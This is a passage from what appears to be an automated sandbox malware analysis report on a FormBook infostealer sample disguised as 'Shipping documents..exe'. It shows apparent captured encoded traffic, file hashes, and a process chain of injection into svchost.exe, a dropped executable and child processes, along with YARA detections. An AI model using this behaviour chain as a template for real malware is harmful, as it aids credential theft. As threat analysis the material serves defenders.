6c 67 59 51 33 2f 34 4b 4e 66 6d 75 59 6e 55 71 32 58 4d 42 63 54 55 74 4f 6d 38 62 51 71 55 67 70 4e 6d 5a 42 35 51 4b 73 35 37 30 57 6f 50 43 48 61 51 44 4d 2b 35 51 4f 48 4d 57 2f 77 5a 6a 34 56 62 4c 44 6d 42 67 4d 36 6f 7a 35 34 36 61 2f 6b 68 69 4b 32 62 45 30 53 2f 66 38 73 45 72 6f 64 50 44 56 6f 69 51 32 7a 66 4b 41 50 2b 56 48 37 34 71 4a 2b 45 65 38 32 52 34 4b 33 4b 54 6c 32 58 6d 4f 6a 52 78 77 38 57 31 2f 4c 6d 4b 46 7a 6e 61 34 64 59 73 4b 6c 6e 78 43 4c 75 77 6f 77 37 49 63 38 2f 6c 4a 32 55 39 30 54 37 63 46 6e 53 66 6d 56 4c 74 4d 42 71 50 31 42 79 2f 63 39 59 41 3d 3d Data Ascii: DDp=qIQfee/QhFWH94GTJztvBUI/548ZNhlgYQ3/4KNfmuYnUq2XMBcTUtOm8bQqUgpNmZB5QKs570WoPCHaQDM+5QOHMW/wZj4VbLDmBgM6oz546a/khiK2bE0S/f8sErodPDVoiQ2zfKAP+VH74qJ+Ee82R4K3KTl2XmOjRxw8W1/LmKFzna4dYsKlnxCLuwow7Ic8/lJ2U90T7cFnSfmVLtMBqP1By/c9YA==

Target ID:	0
Start time:	02:38:54
Start date:	06/11/2024
Path:	C:\Users\user\Desktop\Shipping documents..exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Shipping documents..exe"
Imagebase:	0x400000
File size:	1'322'107 bytes
MD5 hash:	3FBAB2B42254852FC8D71F14B2862A43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	02:38:55
Start date:	06/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Shipping documents..exe"
Imagebase:	0x490000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2433270626.0000000003560000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2432620170.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2437565309.0000000006600000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	02:39:19
Start date:	06/11/2024
Path:	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe"
Imagebase:	0x3c0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4568829458.00000000051E0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	02:39:21
Start date:	06/11/2024
Path:	C:\Windows\SysWOW64\srdelayed.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SysWOW64\srdelayed.exe"
Imagebase:	0x620000
File size:	16'384 bytes
MD5 hash:	B5F31FDCE1BE4171124B9749F9D2C600
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	6
Start time:	02:39:21
Start date:	06/11/2024
Path:	C:\Windows\SysWOW64\ktmutil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\ktmutil.exe"
Imagebase:	0x830000
File size:	15'360 bytes
MD5 hash:	AC387D5962B2FE2BF4D518DD57BA7230
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4568813272.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4568990359.00000000030C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4559476128.0000000002980000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	8
Start time:	02:39:34
Start date:	06/11/2024
Path:	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe"
Imagebase:	0x3c0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4571453200.0000000005690000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	02:39:47
Start date:	06/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true